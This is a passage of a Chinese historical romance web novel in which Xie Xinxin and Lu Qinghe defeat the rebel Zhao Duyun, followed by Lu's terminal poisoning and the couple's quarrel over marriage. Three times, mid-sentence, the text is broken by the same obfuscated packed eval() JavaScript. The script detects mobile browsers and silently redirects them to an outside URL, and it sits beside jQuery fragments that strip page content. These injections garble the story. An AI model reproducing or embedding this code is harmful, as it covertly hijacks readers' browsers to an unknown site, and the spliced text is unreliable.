马南春即刻抽剑出鞘,直冲谢辛辛眉心。谢辛辛却一个勒马调转方向,将承元挡在了自己身前。 “赵都云!”她高声道,“你敢伤皇子?!” “住手!” 千钧一发之际,赵都云咬牙叫停了马南春。 “谢辛辛,你真是不知天高地厚,拿皇子当肉盾,你以为今天过去,你还能活多久……” 陆清和此时已经搀起董尚,高声喝道:“董都头,计划有变,保护大皇子殿下,休要叫殿下落入贼子之手!” “贼子?”赵都云轻蔑一笑,“此女子就是贼子!殿下失踪多日,却出现在此女手中!她即是绑架殿下的凶手。董尚,你身为禁军都头,还不将此女拿下?” 董尚迟疑地看了一眼陆清和,见陆清和对他摇头,便不做声响。 谢辛辛看向手中的承元,“我分明是从你的营帐中救出的大皇子殿下。殿下,你说呢?” 不等承元回答,赵都云慢慢道:“殿下,臣不得不提醒你,太子殿下是否残害皇嗣,皆在这一句问答之间……” 谢辛辛打断他,“殿下,妾也不得不提醒你,殿下你的生死,也在这一句问答之间。” 赵都云怒喝道:“谢辛辛,你竟敢威胁皇子!” “这就叫威胁?”谢辛辛一笑,手里的力道紧了紧,扼得承元额上青筋凸起,“那这样呢?这样叫什么?” 赵都云愤然向前一步,谢辛辛却用力更甚,以至于承元面色都涨得乌青。 承元抬手,艰难地从喉咙里发出声音: “退、退下……!你想让她杀了我不成?” 可谢辛辛却有意要激怒赵都云似的,大笑道:“哈,赵都云,你很怕啊!大皇子已经找回来了了,前因后果,是非曲直,都该在宫中定夺,你怕大皇子殿下说漏了嘴,是不是?” “抑或,其实你根本不相信殿下会和你站在一边。因为你自己就是这样的人,永远不会和谁合作……你用计哄骗殿下藏在你身边,等打入了京城,就打算把殿下软禁起来,自己把握实权,就像你对已故的宣王爷做的那样。” “赵都云,我说的对吗?” 这下承元多少有些听懂了,惊愕地望着赵都云。 “来人!”赵都云捏紧了拳头,“来人!弓弩手!射杀此女!不……留她一条命,不能让她死得太轻巧……我要亲手剐下她的心……” 丛林幽暗处,应声冒出一派弓兵,数十人张弓搭箭,齐齐瞄准了一个方向。 闪着寒芒的箭矢,像一圈潋滟的水波,而赵都云自己是波纹中间的投石。 “你们……” 赵都云瞳孔微微放大。 “你们瞄着我做什么?射那个女人啊!” 弓手们没有回答,只是沉默地将准心对着赵都云的眉间。 赵都云与这群人对峙半晌,终于明白过来: “……你们是禁军。” 回头望去,禁军在殿前司的指挥下早已重整旗鼓,将他带来的人团团围住。 原来不止营地是假的,就连败走也是圈套。 陆清和轻轻拂去面上尘土,长剑一挥向前,“赵都云,你绑架皇子在先,无诏进京在后,今日又罔顾皇子安危,下令要使弓弩对准皇子贵体。据此,殿前司拿你归案,进京述罪,你可有异议?” “异议?” 赵都云气急攻心,偏头啐了一口,竟是一滩黑血。他恶狠狠地看了一眼血渍,扬唇道:“我问你,殿前司的职责何在?” 陆清和抿唇不语,倒是董都头接道:“自然是统领殿前诸班,护卫皇家仪仗。” 赵都云伸出一指指向承元,“大皇子殿下在此,皇长子,可否代表皇家?殿下在此,诸班是听命于皇家,还是听命于区区都指挥使?” 说着,就向承元抱掌,“殿下,臣无能,让你深陷险境。如今有捍卫天家庄严的禁军在此,殿下大可放心。” 承元的目光眼见地在动摇,可他扫到谢辛辛的眼睛,又害怕地缩回了身子。 可他身上的锢制竟突然松了。忽然间只感觉背上被人推了一把,连滚带爬地跌下了马。 承元茫然抬眼,见谢辛辛翻身下马,冲他笑微微地: “殿下,我给你选择的机会。殿下好好选。” 承元动了动眼珠。 看了一眼赵都云,又看了一眼谢辛辛。 他听不懂这些人的弦外之音,他只知道,赵都云能让他当皇帝。 于是他清了清嗓子,用一种少年人近乎残忍的稚嫩嗓音,清声道: “云顺郡王是为救我而来,有功无过。” 下了这一定论,承元远离了谢辛辛两步,颤颤地伸手指向她: “此女为太子同党,擅闯军营,图谋不轨,该当死罪。” “陆清和,你身为殿前司都指挥使,却与贼人同流合污,你也有罪。” “今、今日之事,起因是你统领殿前司冒进行动,才导致云顺郡王不得已反击。” “陆清和,我命你即刻撤兵,如此方免战事扩大。至于皇弟的过错,我自会像父皇禀报,求父皇裁夺。此事毋需再由殿前司插手。” 山间归于一片死寂。 承元很满意这一番话的效果,可眼风看到谢辛辛仍是笑眯眯地看着他,莫名打了个寒噤。 “马南春。”承元忙叫,“还不送我回郡王身边?” 马南春应了声是,上前护卫承元一步一步地向赵都云走去。这次经过谢辛辛的时候,谢辛辛没有再拦着他们。 云霭掩去了小半月光,云顺军和禁军之间,出现了一道光暗分明的交界线。在众人的目视之中,承元与马南春终是跨过了这道鸿沟。 赵都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13993136|130187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云有了笑意,瞥了一眼如一潭死水的禁军阵营,“陆指挥使,还不撤兵?” 陆清和道:“陆某奉旨领兵,是为阻止云顺郡王进京,如今云顺军还未撤走,殿前司谈何撤军呢?” 此时承元已在马南春的随侍下来到赵都云身侧,才松了一口气,赵都云附耳过去,在承元耳边小声说了几句。 承元点点头,转脸道:“陆指挥使。依你所见,本皇子受贼人拐骗,流落宫外,是否需要有人率侍卫,保护我进京?” 陆清和点头道:“此乃殿前司的职责。” “我不要殿前司。” “殿下,这……” “我不要殿前司。我说过了,今日你冒进行动,有罪在身,因你之过,我无法再信任殿前司。今日,我命赵都云率兵护我进京,若有违法度,此后我自会于父皇告罪。” 一阵沉默之后,陆清和轻声叹气:“殿下果真想好了?这是殿下自己的想法,不是受奸人的挑唆?” “大胆!你可是再暗指本皇子偏信郡王?” 承元转过身去,“我与云顺郡王皆为国姓,陆氏即便进爵封王,始终只是个奴才,陆指挥使,你也一样,认清你的身份。” 陆清和温和一笑,向大皇子恭恭敬敬作了一礼。 “臣受教。” 谢辛辛过去推了推他,“这你若还不生气,我就要生你的气了。” 陆清和莞尔,小声同她道,“确是有点生气。” 遂抬手,缓缓开口:“放箭。” 当下宛如一根保持平衡的细弦突然崩断,万千箭矢从天而降,云顺军纷纷拔剑劈断空中流矢,冲上前与禁军打成一片。 赵都云愕然怔住,直到一支箭射在他脚边,方回神大怒:“陆清和,大皇子殿下如今和我在一处,你敢残害皇嗣!” 谢辛辛指着他笑道:“赵都云,残害皇嗣的是你的人!” 赵都云顺着他的手指看去,就在自己两步远的身侧,马南春将承元死死锢在手中,剑刃直逼承元的脖颈。 赵都云拧眉道:“你?” 马南春轻拢剑身,承元的颌下立时有一道血痕。 “不要动!”赵都云眼见了有了慌色,一边打手势安抚着承元,一边仍试探着问,“马南春,你若早有异心,为何不在我命你保护殿下的时候就下手?等到今日,你一定有你的难处,你说,你想要什么,我有什么不能给你的?” 马南春道:“什么殿下,我不认识,我也不想要他的命。要我放了他,可以,拿你来换。” 赵都云顿在原地。 马南春的剑又收了收,吓得承元大叫:“表兄救我!!表兄!!!” 马南春对赵都云道:“扔了兵器,自己过来,我就放开他。” 赵都云却握紧了刀,“我给你钱。” 马南春摇摇头:“我不要钱,我要杀人偿命。这么多命,我家的,茗琅姑娘家的,谢小掌柜家的……这些,单用你一个人的命来还,已经很便宜你了。” 他手中,承元早已面如死灰,紧闭着双眼,颤抖道: “表兄……不,云亲王,宰相,大学士!待我登基,表兄你想要什么位置我都给你,表兄,我们说好的啊!” 赵都云看着他,忽然勾唇笑了。 “殿下,若我死了,你还怎么登基?” “可是殿下,若你死了,我照样进京向太子发难……” “殿下,别忘了,我也姓赵啊。” 赵都云倏然旋身发力,长刀高挥而下,毫无犹疑斩向马南春和承元所在的位置。 91.战事定 电光火石之间,马南春忙松手翻滚而出,可已经来不及将摔在一边的承元拉走。 长刀劈落,承元惨叫一声:“我的腿!!” 他疼得满地乱滚,鲜血喷涌在土壤上,身体滚出了一丈远。再一看,自己半只左腿堪堪挂在一层皮上,差一点点就要与身体分家了。 赵都云不假思索,又是一劈,这一劈对准的是承元的头颈。刀气狂妄,尽管不甚偏斜了一寸,仍是一刀斩落了承元的发髻。 “表兄!!为什么!!!”承元哭嚎着在地上匍匐,“殿前司何在?陆指挥使!陆指挥使救我!!” 董都头按捺不住,几乎要冲上去救人,踉跄几步,却被谢辛辛搀扶住了。 都头记得她的脸,茫然道:“……指挥使夫人?” 谢辛辛目光望向远处,安抚他道:“都头,你看那里。此刻牌桌之上皆已坐定,桌上的大人们有自己的牌局,不需要我们为此拼命了。” 那厢赵都云冷眼挑眉,反问承元道: “‘为什么’?呵,难道殿下真要用臣的命换殿下的命?” “殿下,好冷血啊。既然主上无情,那臣自然也要以自己的命为重了。” 承元边爬边哭,“他已经松手了!他已经松手了!表兄为什么还要杀了我!” “臣这一刀已经下了,就断没有不杀了殿下的道理。否则单凭砍伤殿下这一项,臣一个脑袋也不够掉的。” “还不如,臣现在把殿下杀了,再杀了陆清和,届时就说是陆清和杀的殿下。” 赵都云居高临下,笑意殷殷,“殿下,你说多巧,陆清和他不正是太子拥趸。臣杀了他,再伐太子,岂不顺理成章?” “都死了,还有谁知道是臣杀的你?至于殿下的命……呵,有何要紧?” “殿下别忘了,臣,也姓赵啊。” 一声若有似无的轻笑响起。可这笑声却不是赵都云的。 在这刀枪金鼓之声里,笑声如风刀霜刃,突兀无比。 “表兄,好大的志气呀。” 山下燃尽的光焰将暮色映照地忽明忽暗,血光四溅里,那人身着通犀玉带紫公服,青罗皂纱折上巾,在明灭的火光里目光凛冽,如一只伏在暗处伺机的蟒。 长刀滞了一瞬,赵都云面色冷峻,“太子殿下……?” 太子微笑,不置可否。 承元当即找到了救星一般,朝太子的方向连滚带爬,“承彦,承彦救我……” 哭叫惊动了正砥力拼杀的禁军。禁军为首处,陆清和伤痕累累,以剑身挑起令旗,指天嘶声道: “诸将士听令!” “赵都云举兵谋反,犯上作乱,戕害皇子,国法难容!” “如今太子殿下携援军已至,尔等身为皇家禁卫,护国保民,职责所在,杀贼立功,扬我国威!杀!” 千万伏兵霎时如潮水般从太子身后汹涌而出。 承元愕然,仍不忘朝太子的方向匍匐爬行着,央求道:“承彦,救救皇兄……” 太子深深叹气,“皇兄,孤也不愿见你如此,可她给过你选择的机会。” 既而右手合拳抬起,高声号令: “大家都看见了,大皇子承元,已被逆贼所害,生死未卜。孤在此,但请诸将士为我皇兄报仇雪恨!” “等等,等等!”承元慌张嚷道,“我在这!我在这啊!我是大皇子承元,我在这里!” 可人群蜂拥而上,好像无人听得见他的声音一般。鼓角齐鸣中,许多只军靴从他身上塌过,将他的哀号和鲜血踩踏在泥里。 赵都云被大批人马裹挟着向后,察觉事态有变,早就上马退走了几丈,暗暗心想还好这番突袭没有带上全部人马,如今退回去,留得青山在,不怕没柴烧。 身后却有马蹄笃笃穷追不舍,他回头去看,是马南春拿着不知从哪个尸体上捡来的缨枪紧随其后。长枪横扫,差一寸就要挥砍到赵都云身上, 赵都云暗骂一声,狠狠夹了马腹,加快速度往云顺军的驻地逃去。 可一声尖利的长哨,赵都云身下的马像是失了魂魄一般,急急刹住了蹄子,茫然四顾。 噗地一声,长枪贯胸,流出汨汨的红血来。 马南春利落收枪,银头从赵都云的身体里拔出来,带得鲜血四溅。 赵都云喷出一口乌血,难以置信,“为什么……” 不远处,谢辛辛也手指并在唇边,还有些愣神。 她看这匹马通体枣红,姿态成色,无不酷肖养在谢府里那匹小红马,碰运气一般地试了一试,就吹了一声儿时唤马的哨音。 那匹马的眼睛如星,越过无数刀剑望向了她,而后,逆着汹涌人潮朝她奔袭而去。 谢辛辛怔在原处,凝望着儿时的同伴义无反顾奔向了她。 一时间,她恍然觉得那马上是十三岁的自己,丸髻红裙,意气风发,打马而来。 一滴冰凉在她额间化开,厮杀无声,雪落有声,她仰头望去,淅淅洋洋,风雪吹面。 云京终于下了这裕元三年的第一场雪。 …… 雨雪滂滂,一连下了好几日,将某处山麓之间血流成河的腥膻味洗刷得彻底。 冬风拌着飞雪掩过成堆的尸体——这个情状,是陆清和那日去检视战场归来后转述给她听的。 她在脑海中构想了一番,渐渐地对生死也麻木,只觉得应当像是玉春楼中堆成小山状的盐拌牛肉。 尘埃落定,心中的挂念才趁机蓬勃长起。她想念玉春楼了。 日前山中大战,太子携精兵赶到,大败云顺军,威震朝中。当时赵都云被马南春一枪贯穿右胸,未伤性命,入了云京府狱,要由大理寺会联合刑部、御史台等部门同审。 离了宣王府的玉春楼,才总算是干净了。 想起赵都云这人,没来由还是叹了口气。纾完气后仍不忘自己来院子外的目的,伸手摇了摇门口这棵桂树。 冬雪积重,若不能时常摇落,桂纸难免被积雪压断。 好在云京虽冷但干燥,只消轻轻一摇,积雪像蓬松的鹅毛一样纷落。她忙用手掌遮掩,却没有积雪落在自己的头上。 仰面望去,原来是陆清和不知何时撑伞站在自己身后。 谢辛辛见他还穿着官服,气派通身的样子,笑着叫他:“原来是陆大人,又是好几天不见了。” 陆清和无可奈何地看着她,任她打趣。 她没问他从哪儿来的,这人却自顾自地报备起来:“前几日才收缴了一批云顺军的兵器,要和邺州矿山的铁器制品比对,没有人比孟安更了解邺州铁冶监的情况,于是宫中将他从崖州召了回来。山高水远,我同郑瑾瑜一起去接他。” 谢辛辛听着,正要找畚箕将落雪扫在一起,却被他抢先拿了竹帚。她只好拄着畚箕接话,“孟大人啊,还好么?” 陆清和扫着雪,摇摇头,“清减许多,而目光炯炯,风骨犹在。” 扫了不多会儿,地上显出小青石板铺就的路面,陆清和将竹帚放下,犹豫片刻,伸手去够她的手掌。 谢辛辛没有躲,反而用力握了握他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009414|130187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“好凉。” “你呢?”陆清和用两只手,将她的手掌圈在自己手中,“回来的路上遇见殿前司的人,说你总往伤兵营里去……” 谢辛辛一笑,寒冷的空气里,唇边流泄出温情的白气。陆清和看得认真,总想替她缝补上。 “诓他们叫了我一声指挥使夫人,总不好不管他们不是?”她语调轻松,眨着眼睛看他,“我可是给他们介绍了好大夫,你猜是谁?” “谁呀?” “边青昙和范守一。” “他们?怎么来云京了?” 冷风乍过,陆清和难掩咳嗽。 “别站在风里了。”谢辛辛皱了皱眉,拉着他走进屋子里,慢慢地给小香炉里添银炭,“我叫青昙来的。结果她知道有行医的好机会,说什么也不肯放过,我就让阿凤带着她进伤兵营里看了几眼。” “没想到她从莲州带来的烟罗叶起了效果,给伤患们开刀子取箭头的时候,拿那种烟叶子一熏,就没那么疼了,将士们也能少受好些苦。如今在你们殿前司,她可是威望很高的女大夫,范守一倒是心甘情愿地给她打下手。” “那真是好事。”陆清和也有了笑意,熟门熟路地找了茶具给自己倒了一盏温茶。茶水顺着嗓眼润下去,勉强把胸腔中的咳意压下去一些。 一时二人不言语,显得窗外风雪之声更甚。他忽然想到什么,问她: “那你一开始叫边姑娘来是为了什么?” 当啷一声,谢辛辛添炭的小银钳砸在了香炉上。她手忙脚乱的去捡,却不留神被烧热了的钳头烫了,忙撒手,嘶嘶地吹气。 陆清和忙赶上前捉她的手腕,“我看看。” 哪怕在烧着暖炉的屋子里,他的指尖依然冰得骇人,此刻拂过她烫伤的手心,倒着实让伤口好受很多。 谢辛辛望着他。如今他做了指挥使,眉目间不再有昔日的冷清,倒多了一分身兼责任才有的凛然英气来。此刻拧眉望着她的伤口,英气却化作寸断柔情,面目看着比她自己还疼。 “我去买烫伤膏回来。”他抬脚就要走,却被谢辛辛拉住衣摆。 “不用了。”她小声叫住他,“青昙一会儿就来,让她顺便帮我治一治就行。” 陆清和察觉到她话里藏着的话,“‘顺便’?” 谢辛辛仰脸看他,不知是不是疼得难受,眼尾鼻头有兔儿一般淡淡的烟粉色。 明明没什么表情,脸上却笼罩着一层若有似无的气恼。 陆清和被她看得惶然,不自觉地有些心虚。 “你在我面前还要装作没事多久?”谢辛辛的声音很淡,眼神却如小刀一般剜着他的心,“董都头都跟我说了,孟安是郑瑾瑜一个人去接的。你日前在太子面前毒发昏迷,在东宫请御医养了三天,这才勉强能说话行走。” “若我不戳破,你还要瞒我多久?是不是打算每次毒发都骗我说出公务去?这次接孟大人,下次接张大人刘大人,再下次呢?” “若再下次,你再也没回来呢?” 她质问着,声音却渐渐颤抖,絮絮地问:“不是说好没事的吗……当时不是说你早就百毒不侵,为了让皇帝和赵都云都放下戒心,才服了毒药吗……” 猛然与药香拥了个满怀,她被环抱在陆清和的怀里,终于说不出一句完整的话来。 “所以辛辛叫边姑娘来,是替我看病的,是吗?” 她伏在他的肩上,不愿应他的话。 额间落下冰凉的一吻,耳边有人温声道:“谢谢你,辛辛,一直以来都谢谢你。” 92.咬嘴唇 谢辛辛推开了他:“道些虚无缥缈的谢,有什么用?你知不知道,若非担心你还有几天想头,我早就回莲州了?” 陆清和哑然失笑。 他知道她心里急着要回家,可他又的确有种病患的有恃无恐。以为仗着自己如今五痨七伤的身子,可以顺理成章将她留在自己身边。 见他沉默,她瞪着眼睛:“究竟怎么回事?” 陆清和将她请到座上,像抚猫儿一般顺着她的气。 “你也知道,原本宫中是不愿留着陆家人的,遑论给我兵权了。改朝之时,父王已经功高震主,好不容易将他赶去戍边,再给陆家的孩子在禁中领兵的机会,凭那位的性子……” 他顿了顿,终还是凭自己的修养,将不敬天家的言语留在了不言中,“……朝中无人可用,能用的人又不敢用,该如何呢?” “可若这个孩子是个短命鬼,一切就不同了。将死之人,兵符也握不住几年,立了大功,宫里也可以安安心心地论功行赏。” 她有些不忍听了,打断道:“这些我都知道……但你原先不是说这毒不妨碍什么吗?” 陆清和哂然:“是,但宫里派了有医术的公公来诊治……说是君恩,但他几针下去,毒入骨髓……我自己知道我现今是个什么情况。明明没几日可活了,何苦惹你伤心。” 谢辛辛听得愣神,半晌才回了一句: “我有什么可伤心的……” 边青昙提着大小药箱来的时候——哦,准确来说,是边青昙轻飘飘地驾临,范守一提着大小药箱尾随而至的时候,这屋子里早就风平浪静了。 谢辛辛迎出来,惹得边青昙叫出声:“怎么红着眼睛?他惹你了?” 陆清和忙转出来,手上还攥着瓶瓶罐罐:“我哪敢呢?” 自然是没人信他。后头范守一摇了摇头:“女人家在这世上奔波已是不易,身为男子,不替她们分忧也就罢了,怎好惹心上人伤心?” 陆清和苦笑:“理是这么个理,可我……哎,不说了,你们有烫伤的药油么?” “有啊……”边青昙目光在他们之间扫了一遍,才发现谢辛辛手上有烫伤的红痕,当下瞪了一眼陆清和,“陆大人做了都指挥使真是升发了,使唤起谢小掌柜做活了。” 得了,这下真是有理也说不清。 谢辛辛听着这番动静,总算噗呲笑出了声来,“我自己添炭的时候烫的。” 她拉着边青昙坐下,“你来的正好,今晚咱们一块儿打甂炉吧。” “不看病啦?” “不看了,他也不想治。” “噢,高门里头确实有讳疾忌医的毛病。” 边青昙快言快语地这么说了,实际上本来也不怎么关心陆清和的状况,此后便不再多问,乐得清闲。 倒是范守一很会察言观色,目光在两人之间扫了个来回,“陆大人,药箱里东西有点多,治烫伤的药油一时也难寻出来,你来帮我找一找,我们借一步。” 于是将女人留在屋子里,两个男人在偏房将各种药罐瓶子拿出来挨个比对。陆清和找得认真,正要伸手拿那药箱底下最后几个药瓶,却被范守一按住了手腕。 “我来,我来。”范守一笑呵呵的,在他腕上使了点力气,将他的手推到一边去,“剩下这些药没有贴名纸,陆大人认不出来,让范某来细细甄辨一下。” 说着,揭开这几个盖子又嗅又闻的,装模作样一番,拿出其中一瓶道:“就是这个了,陆大人拿去用吧。” 陆清和心里又记挂着谢辛辛的伤处,两下里没有生疑,谢过之后就拿走了。男人们回到正屋,见谢辛辛和边青昙说话正说的开心。 外边威风的指挥使大人,此刻也不避人,搬了小凳子坐在谢辛辛的脚边,将她手心摊开向上放在自己膝盖上。又拿药油抹在自己掌中。 谁成想他自身已是寒凉之体,这会儿更是连药油也化不开,只好伸手凑在暖炉边上,将药油烤热了,才涂抹在谢辛辛的伤处,一边问着,“你们方才聊什么呢?” “正在聊你。” “是吗?说我什么了?” “边姑娘说你看着体虚,既然打甂炉,最好叫人给你打点鹿肉鹿血,一齐下锅煮了……” “咳、咳咳……” 他冷不丁被呛了一句,掩口咳了半日,才幽幽道:“只是儿时中毒伤了练武的根基罢了,身体是不虚的。御医看过我这体质,说我阳气盛,这才让寻常毒物侵不得我的身。” 这是什么有损他清白的事吗,这么急着辩上一辩?谢辛辛当下有些失语。 偏偏范守一也探头道:“这倒是真的,我替陆公子作证。” 边青昙嗳了一声,轻斥了他: “我和辛辛说玩笑,你认真掺和什么?咱们是行医的,知道什么该说什么不该说。你是把过他的脉了还是怎么着?无根无据,怎么也顺着病人的话闹?” 范守一当下便乖巧起来,嘿笑了几声,温顺地在边青昙身边落座。 谢辛辛支着腮帮子,含笑看他们逗趣。有人打岔,心上郁结的心事似乎也消散一些,再加上这些日子见的生死也多,不知是见多了,心里麻了,还是真的看开了,渐渐接受了陆清和命不久矣这件事。 说话儿间雪停了,阿凤趁着天色未暗之前,也从殿前司放职回来。几个人干脆把院子扫出一方干净地面来,将炉子支在院里围炉夜话。 未料到阿凤居然真的带了一块新鲜的鹿肉,说是都头今日刚打的。谢辛辛有心力打趣起陆清和来,惹得他闷头多喝了一盅黄酒,一夜醺红了耳朵。 吃了一半有人拍门,“是我呀,我呀,谢小掌柜,我可是带好消息来啦。” 一听便是郑瑾瑜。 谢辛辛也喝了几杯,脸红红地去开门,“来得正好……什么好消息呀……?” 郑瑾瑜见院里热闹,随意见礼之后,大咧咧地就找位置坐下,“刚得了东宫的消息,太子殿下可算是不再守拙,一气儿将和大皇子有关的一干人臣或多或少捅了出去,明儿应该都得获罪。” “这还不算,听说令兵传信,称边关大捷,北瑛王大胜而归,上头那位受人言逼迫,多半要给陆家子孙一个阁职,中宫也说提前许给陆指挥使未来夫人二品的诰身……” 陆清和浑身一凛,下意识朝谢辛辛看去,见她仍是云淡风轻,问还有呢,心里才放下一些。 郑瑾瑜踅来一双筷子,在热炉子里晃了晃,夹出一片肉来嚼,“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14023164|130187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 托我的事,我也办好了。太子殿下应允了,在莲州设官办的慈幼局,收容被遗弃的孤儿,安排乳母嬷嬷喂养照顾,无子无女者,受考核后可来领养……只是,殿下的意思是,这事这要以太子的名义。” 谢辛辛点点头,总算有了笑颜,“以谁的名义都好啊,这事能办就好。” 宫里长大的,哪有绝对的好人,没有贤名挣,谁会去牵头做这个事呢?但民间的孤儿有了官方的收容之所,在世上就算有了来处,不会像马南春等这样,被有心人利用去半生。 其它人自然也是交口称赞,说谢辛辛这个主意很好。范守一夹了一筷子菜到边青昙的碗里,轻声叫她多吃些。 郑瑾瑜是个心大的,见不得气氛莫名低落下来,嘴里嚼了半天,嘟囔着,“这什么肉啊,怎么尝起来有股怪味?” 阿凤如实道:“鹿肉。” “啊?鹿肉,鹿肉……”他一个血气方刚的成年男子,自然知道鹿肉是助益什么的,当下里年轻时不务正业看的读物一本一本从脑袋里飞过。 再一环顾,两位兄弟都是携着姑娘来的,忽然嘴里的肉都不香了,呆呆地看着阿凤出神。 半晌,没头没尾地来了一句,“大哥,你有没有认识的小娘子介绍给我认识?” 谢辛辛拿筷子给他当头一敲,“想什么呢?阿凤这个年纪的小娘子还在阁中玩花球呢,你要不要脸啊?” 郑瑾瑜才察觉不对,讪讪地缩了脖子,嘴上还硬,“那也未必啊,在莲州,人人都知道你谢小掌柜从小就出去管铺子了……” 这是什么歪理。谢辛辛被他噎得一时说不上话。 陆清和含笑接了一句:“若是那时我就去一趟莲州就好了,如此,能见到玩算盘的谢小小姐,与你早结识几年……” 也能再多相处几年。 剩下的话没说出口。谢辛辛掖了掖鬓发,似乎也当做没有听见。 话搁在这,没有人再接,炉子咕嘟嘟冒着热气。郑瑾瑜左看右看,很是懊恼,“怎么我一来就总是冷场呢?罢了罢了,我走了,回去晚了,姑姑要骂我的。” 范守一打着眼色,一个劲的示意边青昙也同他一起回家去。边青昙却浑然不觉,拉着谢辛辛,醉意盎然地说话。 “哎呀。”范守一有些着急,将边青昙拉扯着迈出了院门,“内子醉了,抱歉抱歉,我回家给她熬醒酒汤喝……” 说着自己就把院门关上了,一点儿也不劳动主人家。 陆清和喝了烫酒,身上有些发热。许久没有感受到暖意了,此刻心情很畅快地叫她: “辛辛,多谢你……” “又谢什么?” 她勉力睁着眼,眸中映雪,迷迷瞪瞪地看他。 “谢谢你,在你不经意的时候,支撑着我……也谢谢你,陪着我,让我最后的日子也很开心……” 啊,实在是太不会说话了……谢辛辛有些恼怒,看着眼前殷红的薄唇开开合合,还在说什么呢?总归都是些她不爱听的话,什么叫“最后的日子”…… 酒意上脑,将她心里微小的一丝不服气放大了千倍万倍,大得像一朵炽热的火烧云。 不要说了。她想。 然后俯身咬住了他的唇。 93.追妻 少女口颊的香气,鲜美的锅汤,甜腥的血气混在一起。陆清和吃痛退了一步,却被更猛烈地袭卷。 他轻轻推了推她,说:“不行……” 不知是醉的,还是装作听不见,她的侵略更加跋扈。一只食髓知味的小兽,并不会收敛自己的牙齿,亲吻也带着刺,像一片在汤水里搅动的小蓟。 冷风推着她的身体朝他怀里跌去。这回,陆清和接住她了。鸦羽般的眼睫被这软绵绵的重量惊动,升起湿润的雾。 他闭上眼,声音也颤抖,“……不行的。” 唇边尝到一滴清泪,谢辛辛懵然睁眼,“你怎么哭了?” 声音在醇酒的作用下显得嘶哑。 陆清和用力闭着眼睛,却挡不住扑簌落下的眼泪。 “我是……”他叹气,“我是将死之人了,不能再和你成婚。对不起,我要食言了。” 像一盆冷水迎头浇下,谢辛辛忽然觉得脊背发凉,酒醒了大半。 方才吃炉子吃出的一身汗,此刻像冻在风里一样发着彻骨的冷意。 “是吗……”她面色沉了下来,“你是这么想的啊。这么说,你也有你的苦衷。” 她话音里的薄凉让陆清和后知后觉地感到害怕。 他隐约觉得哪有不对,可心跳得厉害,脑子里也一团乱麻。他只知道,自己寿数将近,怎么再敢去奢望这个如明月骄阳一般的人?余下的日子里,可数着与她的回忆消磨时光,已是他的冒渎了。 谢辛辛看着他,“你想好了?” “嗯。” “那么也不来莲州提亲了?” “……嗯,我不该去。” “……那我……” 谢辛辛想着想着,忽地把自己逗笑了,“那我去和宛姐姐说,我看中的人反悔了,之后也不会来下聘了。” “辛辛。”陆清和被她说的局促起来,认真地说,“不要这样,你大可以同她直说,说我是个短命的,病魔缠身,你思来想去,还是不该嫁我,就不要我了。” 这人古板到这样程度,事到临头,居然还替自己顾念着这种“是谁先不要谁”的面子。 谢辛辛听得血气上涌。这每一个字,都不是她所思所想的,还叫什么“大可以直说”? 到头来气极反笑,指着他道:“好,在你眼里,我竟是这样的人。那就依你说的办,我一个字也不会改,就这么跟宛姐姐说。” 说着冲进卧房里,不多时就垮着行囊出来,“萍水相逢一场,陆大人,后会有期。” “等一等,辛辛!” 她的脚步霎时顿在原地,沉默着等他的后话。 长靴踩雪的声音一步一步地靠近,许久的安静后,却是一声黯然的叹息。 她手里被塞进一柄长伞和一叠银票,还有…… “等一等再走吧。” “等什么?” “夜行不便,等阿凤回来,我让阿凤送你。” “这是殿前司的驿券。”他的声音温和如初见,“本想,再晚些时候给你的,可是陆某如今又实在不配拖着你留在云京。有了这个驿券,你可以走官驿回家。” 她一扬手,画着莲塘的油伞砸进了雪地了,银票和驿券漫天飞舞,飘飘扬扬,散了满地。 谢辛辛深吸一口气:“告辞。” 寒凉的雪夜,便只有一人在院里独坐半个时辰。阿凤匆匆赶回来的时候,天上又飘起细雪来。他见炉子下的炭都熄了,一锅没吃完的菜汤上浮着凉油,炉边坐着公子,攥着一叠打湿了的银票,不知想了什么。 阿凤把伞从雪泥里捡起来,“公子,谢小掌柜呢?” “她走了。”陆清和淡淡道,“她走了。你去送送她吧。” “哦,我去送她……”阿凤下意识地应着,再一抬眼,见面前公子三魂已去了七魄,徒留一口仙气掉在原地一般,整个人像要在雪里变透明了似的。 这个影子像壁画里的人物脱了画像,在阿凤脑门上轻点了一指头,一瞬间阿凤通悟了什么。 这就是郑瑾瑜要小娘子的那种感情啊……阿凤只觉得自己今天好像不该听公子的话。 “公子,你怎么不去送她啊?” “我……我不好再耽误她。” “谢小掌柜说你耽误她吗?” “……没有。” “那你怎么替她说这个话呢?” 